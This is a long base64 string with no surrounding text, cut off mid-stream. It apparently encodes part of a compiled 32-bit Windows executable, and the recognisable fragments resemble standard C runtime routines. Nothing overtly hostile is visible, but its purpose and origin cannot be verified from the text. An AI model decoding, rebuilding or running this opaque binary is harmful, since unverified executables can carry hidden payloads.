6H+8//9Q6HkUAACDxBCFwHkFg8//6xODfhwAdA3/dhzo4rX//4NmHABZVuh/FQAAWYvHX15dw2oQaPglQgDoTF3//4t1CIl14IX2dRXoZK///8cAFgAAAOjYi///g8j/6zyLRgyQwegMVqgBdAjoPBUAAFnr54Nl5ADo34///1mDZfwAVug2////WYvwiXXkx0X8/v///+gLAAAAi8boMl3//8OLdeT/deDow4///1nDi/9Vi+yLTQiD+f51Dejzrv//xwAJAAAA6ziFyXgkOw2QNEIAcxyLwYPhP8H4BmvJOIsEhZAyQgAPtkQIKIPgQF3D6L6u///HAAkAAADoMov//zPAXcOL/1WL7FFRVot1CFdW6G/W//+Dz/9ZO8d1EeiQrv//xwAJAAAAi8eL1+tN/3UUjU34Uf91EP91DFD/FTBBQgCFwHUP/xVYQEIAUOgqrv//WevTi0X4i1X8I8I7x3THi0X4i86D5j/B+QZr9jiLDI2QMkIAgGQxKP1fXovlXcOL/1WL7P91FP91EP91DP91COhs////g8QQXcPMzMzMzMzMzMzMzMzMzMyL/1WL7ItFDFeLfQg7+HQmVot1EIX2dB0r+I2bAAAAAIoIjUABilQH/4hMB/+IUP+D7gF1615fXcPMzMzMzMzMi/9Vi+yB7BwBAAChjBBAADPFiUX8i00MU4tdFFaLdQiJtfz+//+Jnfj+//9Xi30Qib0A////hfZ1JYXJdCHohK3//8cAFgAAAOj4if//i038X14zzVvosU///4vlXcOF/3Tbhdt018eF9P7//wAAAACD+QJy2EkPr88DzomNBP///4vBM9Irxvf3jXgBg/8ID4fcAAAAi70A////O84PhqEAAACNFDeJlez+//+NSQCLxovyiYUI////O/F3MYv/UFaLy/8VgEFCAP/Tg8QIhcB+CovGiYUI////6waLhQj///+LjQT///8D9zvxdtGL0TvBdDQrwYvfiYUI////kIoMEI1SAYu1CP///4pC/4hEFv+LxohK/4PrAXXji534/v//i40E////i7X8/v//K8+Llez+//+JjQT///87zg+Ha////4uN9P7//4vBSYmN9P7//4XAD47y/v//i3SNhIuMjQz///+Jtfz+///pCv///4u1AP///4vLi4X8/v//0e8Pr/4D+FdQ/xWAQUIA/9ODxAiFwH4QVlf/tfz+///oG/7//4PEDP+1BP///4vL/7X8/v///xWAQUIA/9ODxAiFwH4VVv+1BP////+1/P7//+jp/f//g8QM/7UE////i8tX/xWAQUIA/9ODxAiFwH4QVv+1BP///1fowf3//4PEDIuFBP///4vYi7X8/v//i5UA////iYUI////jWQkADv+djcD8om18P7//zv3cyWLjfj+//9XVv8VgEFCAP+V+P7//4uVAP///4PECIXAftM7/nc9i4UE////i534/v//A/I78HcfV1aLy/8VgEFCAP/Ti5UA////g8QIhcCLhQT///9+24udCP///4m18P7//4u1+P7//+sGjZsAAAAAi5UA////i8Mr2omFCP///zvfdh9XU4vO/xWAQUIA/9aDxAiFwH/Zi5UA////i4UI////i7Xw/v//iZ0I////O95yWYmV5P7//4md6P7//zvzdDQr84vTi53k/v//jUkAigKNUgGKTBb/iEQW/4hK/4PrAXXri7Xw/v//i50I////i5UA////i4UE////O/sPhev+//+L/unk/v//O/hzNYud+P7//yvCiYUI////O8d2I1dQi8v/FYBBQgD/04uVAP///4PECIXAi4UI////dNU7+HI7i534/v//i7UA////K8aJhQj///87hfz+//92GVdQi8v/FYBBQgD/04PECIXAi4UI////dNeLtfD+//+LlQT///+Lyou9/P7//yvOK8c7wXxBi4UI////O/hzGIuN9P7//4l8jYSJhI0M////QYmN9P7//4uNBP///4u9AP///zvxD4NJ/f//ibX8/v//6Xv8//878nMYi4X0/v//iXSFhImUhQz///9AiYX0/v//i4UI////i7X8/v//i70A////O/APgwj9//+LyOk4/P//i/9Vi+yLTQhTi10QVot1FIX2dR6FyXUeOXUMdCfoYan//2oWXokw6NaF//+Lxl5bXcOFyXTni0UMhcB04IX2dQfGAQAzwOvmhdt1BIgZ680r2YvRV4v4g/7/dRGKBBOIAkKEwHQng+8BdfHrIIvOigQTiAJChMB0CoPvAXQFg+kBdeyFyYtNCHUDxgIAhf9fdbKD/v91DYtFDGpQxkQB/wBY64rGAQDo16j//2oi6XH///+L/1WL7F3pQv///8zMzMzMzMzMzMzMzMzMVYvsVjPAUFBQ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